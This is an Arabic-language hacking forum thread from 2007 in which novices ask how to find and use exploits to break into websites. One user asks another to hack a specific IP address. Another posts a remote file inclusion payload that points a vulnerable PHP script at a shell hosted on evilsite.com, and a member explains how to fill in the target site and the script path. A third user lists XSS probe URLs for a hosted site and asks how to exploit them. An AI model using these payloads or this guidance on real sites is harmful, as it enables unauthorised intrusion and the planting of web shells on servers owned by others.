الاسأله وطلبات هنا فقــــــط

أبو نص · 02-13-2007, 09:03 PM

طيب أخ هكووور أنا دخلت الموقع

http://www.securityfocus.com/bid

و حددت الثغره و الأصدار و النوع بس وين ألقا الستثمار ؟؟؟

ShOoT3R · 02-13-2007, 09:14 PM

http://www.alm3refh.com/vb/showthread.php?t=3 (شرح البحث عن الثغرات وطريقة الاستثمار)

شوف هنا اخوووي

الاخ العزيز XP

الشرح الموضوع بالصورة بيكون اوضح لك

هكووور

KASi7 · 02-15-2007, 05:19 PM

الى اخي Xp
انا توني ضيف جديد في عالم اختراق المواقع
لكن امور الثغرات والسكربتات وهذي الاشياء ما فهمتها كاملة يعني مخربط فيها شوي
ممكن دروس ابتدائية عن المفهوم العام للثغرات وكيفية استغلالها بشكل عام
وشكرا

XP · 02-15-2007, 06:13 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة KASi7


	الى اخي Xp انا توني ضيف جديد في عالم اختراق المواقع لكن امور الثغرات والسكربتات وهذي الاشياء ما فهمتها كاملة يعني مخربط فيها شوي ممكن دروس ابتدائية عن المفهوم العام للثغرات وكيفية استغلالها بشكل عام وشكرا

الثغرات عموما هي اخطاء برمجيه سواء كان برنامج او سكربت ولما انت تصيد الخطا تحاول تستشمره

KASi7 · 02-15-2007, 06:47 PM

اخي xp
هل بإمكانك اختراق هذا الموقع : http://65.58.240.161/arabic.htm

أبو نص · 02-15-2007, 08:09 PM

بسم الله الرحمن الرحيم

أنا عندي طلب بس يا ليت أحد يساعدن علشان أنا حاولت أكثر من مره ما لقيت أستثمار زين

أنا أبي ثغره و الأستغلال حقه و نوعه ( Powered by vBulletin Version 3.5.4 ) و أنا ما وصلت لم متغالي إلى هالحين يا ليت أحد يساعدن

أبو نص · 02-15-2007, 08:15 PM

و عندي أستفسار ثاني يا ليت أحد يرد عليه

هاذا كود إختراق

كود PHP:


			
  http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?

و أنا عندي سؤال حول هاذا الكود

المهم [target] الموجوده في الكود و [path] الموجوده في الكود بعد

طيب أنا أستفساري لم وشو أغير هاذي الأكواد

أنا قريت عن رد الأخ XP عن الكود [path] و كان الجواب :

اخوي هذي [path] معناها اسم مجلد السكربت الافتراضي

تغيرها تحط مكانها اسم مجلد السكربت المصاب

على سبيل المثال منتدى الفي بي تحط بدالها vb وعلى حسب فيه البعض غير اسم مجلد السكربت.

بس الي ما عرفنا هي [target] يا ليت أحد يساعدن و هاذا رابط حق الثغرة
http://abwns.9999mb.com/asd.txt

XP · 02-15-2007, 08:21 PM

الكود الي انت حاطه فيه خطا

كذا الصح

كود:

http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?

هذا
http://evilsite.com/shell.php
حط مكانه رابط الشل بمتداد txt

وبدل
[path]
اسم مجلد السكربت

وبدل
http://[target]
حط عنوان الموقع على سبيل المثال
http://www.alm3refh.com

Bad Hacker · 02-19-2007, 04:32 AM

السلام عليكم ورحمه الله وبركاته

الله يقويك اخوي اكس بي ويكثر من امثالك

اخوي اكس بي فيه حاجه معقدتيني ولا لقيت لها حل

سلمك الله انا سويت سكان ببرنامج الجاسوس على موقع وطلع لي ثغرات اكسس باالهبل والمشكله ماعرف كيف استغلها

الثغرات تجي بالبرنامج كذا

كود PHP:


			
 www.xxx.homestead.com/servlet/MsgPage?action=test&msg=**********alert('Vulnerable')***********

وهذي ثانيه

كود PHP:


			
 www.xxx.homestead.com/**********[SCRIPT]***********

وهذي بعد

كود PHP:


			
 www.xxx.homestead.com/mailman/listinfo/**********alert('Vulnerable')***********

طبعا اخوي الموقع مجاني

المطلوب وشلووون استغلها والله يجزاك كل خير

وتقبل تحياتي

hack.night · 02-19-2007, 04:29 PM

اكس بي اميلي مجمد صارلة مدة واغير الرقم وادش فية مايدش اى واحد عندة خبرة يقولي بليز

الاسأله وطلبات هنا فقــــــط

مكتبة الثغرات

الاسأله وطلبات هنا فقــــــط

مكتبة الثغرات